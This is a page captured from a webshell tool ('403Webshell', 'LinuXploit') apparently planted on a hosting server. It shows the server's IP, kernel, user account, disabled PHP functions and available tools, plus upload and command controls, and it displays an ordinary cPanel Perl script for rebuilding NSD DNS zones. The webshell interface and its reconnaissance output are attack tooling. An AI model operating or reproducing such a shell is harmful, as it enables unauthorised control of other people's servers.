403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /scripts/rebuildnsdzones
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/rebuildnsdzones                 Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;

use Cpanel::NameServer::Utils::NSD ();
use Cpanel::NameServer::Conf       ();
use Cpanel::Usage                  ();

Cpanel::Usage::wrap_options( \@ARGV, \&usage, {} );

if ( $> != 0 ) {
    die "Insufficient permissions to rebuild NSD zone database";
}

my $conf_obj = Cpanel::NameServer::Conf->new();

if ( $conf_obj->type() ne 'nsd' ) {
    $conf_obj->finish();
    exit 0;
}

my ( $exit_code, $output ) = Cpanel::NameServer::Utils::NSD::rebuild_zonedb($conf_obj);
$conf_obj->finish();
print $output if ($exit_code);
exit $exit_code;

sub usage {
    print <<EO_USAGE;
Usage: rebuildnsdzones [--help]

Rebuild the entire NSD zone database.

The invoking user must be root and NSD must be the current name server.

With --help, print this help message instead.
EO_USAGE
    exit 0;
}

Youez - 2016 - github.com/yon3zu
LinuXploit